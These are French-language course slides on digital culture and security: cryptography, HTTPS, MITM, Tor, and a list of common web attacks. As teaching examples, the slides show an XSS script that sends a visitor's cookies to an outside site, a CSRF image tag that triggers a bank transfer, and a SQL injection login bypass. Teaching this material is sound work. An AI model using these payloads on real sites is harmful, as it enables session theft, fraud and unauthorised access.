Séance 3

## Culture et enjeux du numérique #### Séance 3

[nicocti.github.io/culturenum](https://nicocti.github.io/culturenum)

### Cryptographie

### Mots de Passe

## 2FA

### HTTPS

![http](assets/images/http-dns-2.png)

![http](assets/images/http-dns-3.png)

![http](assets/images/HTTP.png)

![https](assets/images/HTTPS.png)

![keycreation](assets/images/keycreation.png)

![keysharing](assets/images/keysharing.png)

![encryptedmessage](assets/images/encryptedmessage.png)

![decryptedmessage](assets/images/decryptedmessage.png)

![MITM](assets/images/MITM.png)

![prism](https://cdn.grahamcluley.com/wp-content/uploads/2013/10/nsa-postit.jpeg)

![tor](https://cdn.arstechnica.net/wp-content/uploads/2014/01/tor-structure.jpg)

## Bestiaire

## DDos

### Cross-Site Scripting (XSS)

                        

 <script>
     document.write(
         '<img src="mywebsite?cookie=' + document.cookie + '" />'
     )
 </script>

### Cross-Site Request Forgery (CSRF)

                        

  <body>
      <img src="https://hsbc.com/transfer?to=nicolas&amt=5000" />
  </body>

### SQL Injection

                        

            SELECT * FROM utilisateurs
            WHERE (utilisateur = "nicolas")
            AND (motdepasse = "monpassword")

                        

            SELECT * FROM utilisateurs
            WHERE (utilisateur = "hacker")
            AND (motdepasse = "1" OR "1" = "1")

## 0day

### Social Engineering